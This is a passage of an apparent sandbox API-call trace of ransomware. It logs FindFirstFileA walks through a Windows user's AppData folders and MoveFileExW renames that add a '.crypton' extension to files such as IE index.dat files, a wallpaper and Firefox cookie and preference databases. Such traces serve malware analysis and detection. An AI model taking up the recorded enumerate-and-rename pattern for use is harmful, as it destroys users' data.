lpFindFileData=0x4a8d28*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9eb9f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9eb9f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0208.978] GetFileType (hFile=0x1a4) returned 0x1 [0208.984] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9eb9f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9eb9f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0209.130] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat.crypton"), dwFlags=0x2) returned 0 [0209.130] GetLastError () returned 0x20 [0209.130] GetLastError () returned 0x20 [0209.131] GetFileType (hFile=0x20c) returned 0x1 [0209.135] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa036cc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa036cc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0209.293] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\low\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\ietldcache\\low\\index.dat.crypton"), dwFlags=0x2) returned 1 [0209.300] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa1b3a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa1b3a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0209.301] GetFileType (hFile=0x1a4) returned 0x1 [0209.306] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa1d9be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa1d9be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0209.321] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa1ffd40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa1ffd40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0209.322] GetFileType (hFile=0x1a4) returned 0x1 [0209.327] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa1ffd40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa1ffd40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0209.347] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\privacie\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\privacie\\index.dat.crypton"), dwFlags=0x2) returned 1 [0209.350] GetFileType (hFile=0x20c) returned 0x1 [0209.354] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa24c000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa24c000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0209.411] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\privacie\\low\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\privacie\\low\\index.dat.crypton"), dwFlags=0x2) returned 1 [0209.418] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa2e4580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa2e4580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0209.421] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa2e4580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa2e4580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0209.426] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa30a6e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa30a6e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0209.432] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa30a6e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa30a6e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0209.433] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail.crypton"), dwFlags=0x2) returned 1 [0209.441] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa30a6e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa30a6e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0209.448] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa330840, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa330840, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0209.454] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa330840, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa330840, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0209.460] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa3569a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa3569a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0209.468] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa3569a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa3569a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0209.470] GetFileType (hFile=0x214) returned 0x1 [0209.476] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa37cb00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa37cb00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0209.477] GetFileType (hFile=0x214) returned 0x1 [0209.481] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa37cb00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa37cb00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0209.482] GetFileType (hFile=0x214) returned 0x1 [0209.487] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa37cb00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa37cb00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0209.488] GetFileType (hFile=0x1a4) returned 0x1 [0209.492] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa3a2c60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa3a2c60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0209.493] GetFileType (hFile=0x1a4) returned 0x1 [0209.497] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa3a2c60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa3a2c60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0210.116] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg.crypton"), dwFlags=0x2) returned 1 [0210.125] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f71aa70, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfa996360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa996360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0210.131] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27c7d150, ftCreationTime.dwHighDateTime=0x1d3aaba, ftLastAccessTime.dwLowDateTime=0xfa9bc4c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa9bc4c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0210.135] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mnvUcz14bME.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mnvucz14bme.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\mnvUcz14bME.flv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mnvucz14bme.flv.crypton"), dwFlags=0x2) returned 1 [0210.143] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfa9bc4c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa9bc4c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0210.149] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfa9e2620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa9e2620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0210.155] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfa9e2620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfa9e2620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0210.164] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfaa08780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfaa08780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0210.172] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfaa08780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfaa08780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0210.235] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfaaa0d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfaaa0d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0210.241] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb5233c30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xfaac6e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfaac6e60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0210.375] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite.crypton"), dwFlags=0x2) returned 1 [0210.637] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite.crypton"), dwFlags=0x2) returned 1 [0210.689] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite" (normalized: "c:\\users\\5p5nrgjn0js 